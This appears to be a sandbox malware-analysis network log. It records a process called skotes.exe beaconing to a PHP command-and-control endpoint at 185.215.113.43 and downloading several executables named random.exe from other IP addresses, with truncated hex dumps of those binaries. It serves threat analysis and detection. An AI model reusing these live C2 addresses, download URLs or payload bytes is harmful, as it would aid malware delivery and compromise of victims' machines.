Dec 13, 2024 01:51:39.934122086 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:39 GMT Content-Type: application/octet-stream Content-Length: 727552 Last-Modified: Wed, 11 Dec 2024 08:22:24 GMT Connection: keep-alive ETag: "67594bc0-b1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL$XgN,6@P\|z@ld8h4d.textAMN `.rdata<~`V@@.dataL@.rsrc@@.reloc@B.bss0@.bss@
Dec 13, 2024 01:51:39.934158087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 13, 2024 01:51:39.934175014 CET	1236	IN	Data Raw: 89 c7 83 f8 0f 77 2c 90 89 7d c4 c7 45 c8 0f 00 00 00 57 ff 75 e0 8d 45 b4 50 e8 f4 36 00 00 83 c4 0c 01 ef 83 c7 b4 eb 77 66 2e 0f 1f 84 00 00 00 00 00 90 89 7d d8 83 cf 0f 83 ff 17 b9 16 00 00 00 0f 43 cf 81 ff ff 0f 00 00 c7 45 f0 01 00 00 00 Data Ascii: w,}EWuEP6wf.}CEMrA$PL#FfAP1u}}EEWuVx6E]5MMuEC]ry1tL1fDi[1i
Dec 13, 2024 01:51:39.934191942 CET	1236	IN	Data Raw: 00 e8 39 01 00 00 8b 45 e0 83 c4 04 eb 22 90 89 4d dc ff 15 c4 cc 41 00 8b 4d e0 90 89 4d dc 50 68 2d 9f 41 00 e8 15 01 00 00 8b 45 e0 83 c4 08 90 89 45 dc ff 75 d4 e8 39 6f 00 00 8b 75 e0 83 c4 04 90 0f b6 84 35 c4 fe ff ff 8b 55 d0 00 c2 0f b6 Data Ascii: 9E"MAMMPh-AEEu9ou5U5U5MU0BU9UuUEd0^_[]fUeE@EMPhAWEMj
Dec 13, 2024 01:51:39.934302092 CET	896	IN	Data Raw: 45 d4 89 c3 83 e3 fc 83 e0 03 31 ff 83 f8 01 74 1e 83 f8 02 74 0e 83 f8 03 75 23 90 0f be 7c 1a 02 c1 e7 10 90 0f be 44 1a 01 c1 e0 08 31 c7 90 0f be 04 1a 31 f8 69 c0 95 e9 d1 5b 31 c6 8b 45 d8 83 f8 10 72 43 8d 50 01 81 fa 00 10 00 00 72 2a 90 Data Ascii: E1ttu#\|D11i[1ErCPr*MA) U$ffff.ERP1i[1TWMAEEAEEuuVHAuVH
Dec 13, 2024 01:51:39.934318066 CET	1236	IN	Data Raw: 68 d0 20 40 00 6a 00 6a 00 e8 cc 51 00 00 83 c4 18 90 8b 4d e0 89 01 85 c0 0f 84 fd 00 00 00 90 c7 45 d8 00 00 00 00 90 8b 45 d4 8b 30 85 f6 0f 84 fb 00 00 00 e8 65 10 00 00 39 c6 0f 84 fd 00 00 00 90 6a 00 8b 75 e0 ff 76 04 ff 36 e8 fe 0f 00 00 Data Ascii: h @jjQMEE0e9juv6FuAEj@@EMEQjPh"@jj-QEEu9juue
Dec 13, 2024 01:51:39.934330940 CET	224	IN	Data Raw: e8 dc 00 00 00 83 c4 04 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc b8 28 d4 41 00 e9 9d 1f 00 00 cc cc cc cc cc cc b8 a8 d4 41 00 e9 8d 1f 00 00 cc cc cc cc cc cc b8 08 d5 41 00 e9 7d 1f 00 00 cc cc cc cc cc cc b8 64 d5 41 00 e9 6d 1f 00 00 cc Data Ascii: ](AAA}dAmA]tAMA=A-<AhAUugQYtuaYt]}
Dec 13, 2024 01:51:39.934346914 CET	1236	IN	Data Raw: 00 e9 67 61 00 00 55 8b ec ff 75 08 e8 f0 ff ff ff 59 5d c3 55 8b ec f6 45 08 01 56 8b f1 c7 06 78 61 41 00 74 0a 6a 0c 56 e8 d8 ff ff ff 59 59 8b c6 5e 5d c2 04 00 55 8b ec 5d e9 91 ff ff ff e9 bc ff ff ff 3b 0d 00 e6 41 00 75 01 c3 e9 bb 0a 00 Data Ascii: gaUuY]UEVxaAtjVYY^]U];AuUQQEVEEEVD`A"bRP#!YY^UVFD`A `PEP YY^]AD`APB!YUVuLaA^]aaA A
Dec 13, 2024 01:51:39.934362888 CET	224	IN	Data Raw: 08 56 8b 75 0c 8b 42 04 8b 4e 04 8b 40 04 3b 41 04 75 0a 8b 02 3b 06 75 04 b0 01 eb 02 32 c0 5e 5d c3 6a 24 b8 25 5c 41 00 e8 bd 07 00 00 8b 75 08 89 75 d4 83 65 fc 00 83 7d 24 00 74 0f 6a 02 68 6c af 41 00 8d 4d 14 e8 b2 fd ff ff 8d 45 d8 50 8d Data Ascii: VuBN@;Au;u2^]j$%\Auue}$tjhlAMEPMzxHEvQPMMEPMU A3EEVuuPhuEuPW$PMM
Dec 13, 2024 01:51:39.934397936 CET	1236	IN	Data Raw: 08 8b c6 8b 55 0c 89 4e 0c 8b 4d fc c7 06 c4 61 41 00 33 cd 89 56 10 5e e8 74 fa ff ff c9 c2 0c 00 55 8b ec 56 8b 75 08 57 56 8b f9 e8 a3 fa ff ff c7 07 c4 61 41 00 8b 46 0c 8b 56 10 89 47 0c 8b c7 89 57 10 5f 5e 5d c2 04 00 55 8b ec 56 8b f1 8d Data Ascii: UNMaA3V^tUVuWVaAFVGW_^]UVFD`APEYtjVYY^]j [AuEMPueEPuuMaAUVuNaA^],AUQuY
Dec 13, 2024 01:51:40.055269003 CET	1236	IN	Data Raw: 2c ff ff ff 7f 75 0a c7 41 2c fe ff ff 7f 32 c0 c3 b0 01 c3 55 8b ec 51 56 6a 00 6a ff ff 75 08 ff 15 6c cd 41 00 83 f8 ff 74 32 8b 75 10 85 f6 74 16 8d 45 fc 50 ff 75 08 ff 15 b4 cc 41 00 85 c0 74 1a 8b 45 fc 89 06 ff 75 08 ff 15 48 cc 41 00 f7 Data Ascii: ,uA,2UQVjjulAt2utEPuAtEuHAjX^%AUMhAEPU$jAtjY)AAAA5A=AfAfAfAfAf%Af-AA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49855	185.215.113.43	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:43.811242104 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 35 38 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014586001&unit=246122658369
Dec 13, 2024 01:51:45.127505064 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49858	31.41.244.11	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:45.255191088 CET	61	OUT	GET /files/encoxx/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 13, 2024 01:51:46.581387997 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:46 GMT Content-Type: application/octet-stream Content-Length: 393728 Last-Modified: Thu, 12 Dec 2024 07:55:00 GMT Connection: keep-alive ETag: "675a96d4-60200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d8 27 f3 e3 9c 46 9d b0 9c 46 9d b0 9c 46 9d b0 82 14 08 b0 85 46 9d b0 82 14 1e b0 e0 46 9d b0 82 14 19 b0 b6 46 9d b0 bb 80 e6 b0 95 46 9d b0 9c 46 9c b0 18 46 9d b0 82 14 17 b0 9d 46 9d b0 82 14 09 b0 9d 46 9d b0 82 14 0c b0 9d 46 9d b0 52 69 63 68 9c 46 9d b0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0c 66 a7 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 62 05 00 00 04 01 00 00 00 00 00 8f 51 00 00 00 10 00 00 00 80 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 b0 24 00 00 04 00 00 d1 cf 06 00 02 00 00 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$'FFFFFFFFFFFFRichFPELfebQ@$8gd0:-@.textab `.data`f@.rsrcz0<@@
Dec 13, 2024 01:51:46.581449032 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 6d 05 00 00 00 00 00 88 69 05 00 9c 69 05 00 b4 69 05 00 c8 69 05 00 e2 69 05 Data Ascii: miiiiijj*jDjXjnjjjjjjjjk k6kRkhkpikkkkkkkll(l>lRlblvlll
Dec 13, 2024 01:51:46.581464052 CET	1236	IN	Data Raw: 6c 05 00 bc 6c 05 00 cc 6c 05 00 e2 6c 05 00 f6 6c 05 00 78 6b 05 00 5c 69 05 00 90 71 05 00 80 6d 05 00 9c 6d 05 00 ba 6d 05 00 cc 6d 05 00 d8 6d 05 00 f0 6d 05 00 08 6e 05 00 1a 6e 05 00 2a 6e 05 00 38 6e 05 00 4a 6e 05 00 62 6e 05 00 76 6e 05 Data Ascii: lllllxk\iqmmmmmmnnn8nJnbnvnnnnnnnnnoo8oJoXodonoooooooopp&p2p<pHpZpppppppppqqq<q
Dec 13, 2024 01:51:46.581516981 CET	1236	IN	Data Raw: 6e 64 69 63 61 74 65 73 20 61 20 62 75 67 20 69 6e 20 79 6f 75 72 20 61 70 70 6c 69 63 61 74 69 6f 6e 2e 0d 0a 00 00 52 36 30 33 30 0d 0a 2d 20 43 52 54 20 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 64 0d 0a 00 00 52 36 30 32 38 0d 0a 2d 20 75 6e Data Ascii: ndicates a bug in your application.R6030- CRT not initializedR6028- unable to initialize heapR6027- not enough space for lowio initializationR6026- not enough space for stdio initializationR6025- pure virtua
Dec 13, 2024 01:51:46.581552029 CET	1236	IN	Data Raw: 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b Data Ascii: *+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~=EEE00P('8PW700PP (`h`hhhxppwppGetProcessWindowStationGetUserObjectInformationAGetL
Dec 13, 2024 01:51:46.581602097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: h(((( H
Dec 13, 2024 01:51:46.581640959 CET	896	IN	Data Raw: 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 Data Ascii: QRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~HH:mm:ssdddd, MMMM dd, yyyyMM/dd/yyPMAMDecemberNove
Dec 13, 2024 01:51:46.581654072 CET	1236	IN	Data Raw: 74 6f 72 27 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 64 65 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f Data Ascii: tor'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete[] closure'`placement delete closure'`omni callsig' delete[] new[]`local vftable constructor closure'`local vftable'`RTTI
Dec 13, 2024 01:51:46.581751108 CET	1236	IN	Data Raw: 2a 40 00 4c 2a 40 00 40 2a 40 00 34 2a 40 00 2c 2a 40 00 20 2a 40 00 08 2a 40 00 fc 29 40 00 e8 29 40 00 c8 29 40 00 a8 29 40 00 88 29 40 00 68 29 40 00 48 29 40 00 24 29 40 00 08 29 40 00 e4 28 40 00 c4 28 40 00 9c 28 40 00 80 28 40 00 70 28 40 Data Ascii: @L@@@4@,@ @*@)@)@)@)@)@h)@H)@$)@)@(@(@(@(@p(@l(@d(@T(@0(@((@(@(@'@'@'@'@X'@,'@'@&@&@&@p&@T&@@SunMonTueWedThuFriSatJanFebMarAprMayJunJulAugSepOctNovDecCONOUT$1#QNAN
Dec 13, 2024 01:51:46.581783056 CET	448	IN	Data Raw: f8 33 f1 81 3d ec 0b 46 00 e6 09 00 00 c7 05 e4 0b 46 00 ee 3d ea f4 75 0a 6a 00 6a 00 ff 15 30 10 40 00 31 75 f8 81 3d ec 0b 46 00 13 02 00 00 0f 85 a6 00 00 00 6a 00 8d 85 0c f2 ff ff 50 6a 00 6a 00 6a 00 6a 00 ff d7 6a 00 6a 00 6a 00 6a 00 ff Data Ascii: 3=FF=ujj0@1u=FjPjjjjjjjjQj@jjjR@hh-@jH@jjj@j @jjj@Pjjj@MQjjj@,R@EPd@u+u=FuuMQj
Dec 13, 2024 01:51:46.701446056 CET	1236	IN	Data Raw: 00 6a 00 ff 15 98 10 40 00 56 e8 50 fd ff ff 83 c6 08 83 6d fc 01 75 b1 5f 5e 5b 8b e5 5d c3 51 68 70 ea 45 00 e8 15 15 00 00 83 c4 08 c3 cc 55 8b ec 64 a1 00 00 00 00 6a ff 68 28 61 45 00 50 b8 34 10 00 00 64 89 25 00 00 00 00 e8 de cb 00 00 53 Data Ascii: j@VPmu_^[]QhpEUdjh(aEP4d%SVW=t@33l@SN~F?\|=FSPSX@SSS8@SSSMQSSS@3E]fUSS](SSSSSSQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49874	185.215.113.43	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:49.967513084 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 35 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014587001&unit=246122658369
Dec 13, 2024 01:51:51.295835018 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49880	185.215.113.16	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:51.419713974 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 13, 2024 01:51:52.753217936 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:52 GMT Content-Type: application/octet-stream Content-Length: 970752 Last-Modified: Fri, 13 Dec 2024 00:10:23 GMT Connection: keep-alive ETag: "675b7b6f-ed000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 67 7b 5b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 20 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@n~{{{z{RichPELg{[g" w@0@@@d\|@<du4@.text `.rdata@@.datalpH@.rsrc<d@f@@.relocuvZ@B
Dec 13, 2024 01:51:52.753288031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Dec 13, 2024 01:51:52.753343105 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Dec 13, 2024 01:51:52.753377914 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Dec 13, 2024 01:51:52.753415108 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Dec 13, 2024 01:51:52.753451109 CET	620	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Dec 13, 2024 01:51:52.753488064 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Dec 13, 2024 01:51:52.753524065 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M
Dec 13, 2024 01:51:52.753559113 CET	1236	IN	Data Raw: 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 8d 4d 90 e8 39 01 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 Data Ascii: MluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@
Dec 13, 2024 01:51:52.753597021 CET	372	IN	Data Raw: 0c 33 db 8b f8 43 8b 01 3b c3 0f 8f 0c fd 03 00 8b 46 04 8b ce 03 c7 50 e8 69 71 00 00 8b 1e 8d 04 3f 50 8b 46 04 ff 75 08 8d 04 43 50 e8 ed d9 01 00 01 7e 04 83 c4 0c 8b 06 33 d2 8b 4e 04 5f 66 89 14 48 8b c6 5e 5b 5d c2 08 00 55 8b ec 83 e4 f8 Data Ascii: 3C;FPiq?PFuCP~3N_fH^[]U<EL$S3#MV4If#MW#M#M#M#M#M#M#M#M#M#MDI#M#M#M#M#M#M#M#M#M<I
Dec 13, 2024 01:51:52.873702049 CET	1236	IN	Data Raw: fb 03 00 8d 4c 24 18 e8 0e 63 00 00 8d 4c 24 28 e8 05 63 00 00 5f 5e b8 90 23 4d 00 5b 8b e5 5d c2 08 00 55 8b ec 83 ec 14 56 57 8b f9 8d 4d ec e8 b7 73 00 00 8b 4d 08 8d 55 ec e8 ed 04 00 00 33 f6 39 77 20 0f 87 2b fd 03 00 8d 45 ec 50 8d 4f 18 Data Ascii: L$cL$(c_^#M[]UVWMsMU39w +EPOEEPO(w NMb_^USVj[F9Fu0jX;sF3FWQ~Y~_SYMVNF^[]MM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49902	185.215.113.43	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:57.027554035 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 35 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014588001&unit=246122658369
Dec 13, 2024 01:51:58.378436089 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49906	185.215.113.16	80	3320	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 01:51:58.502188921 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 13, 2024 01:51:59.843451023 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 13 Dec 2024 00:51:59 GMT Content-Type: application/octet-stream Content-Length: 1812480 Last-Modified: Fri, 13 Dec 2024 00:11:42 GMT Connection: keep-alive ETag: "675b7bbe-1ba800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 50 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 69 00 00 04 00 00 bd b6 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ 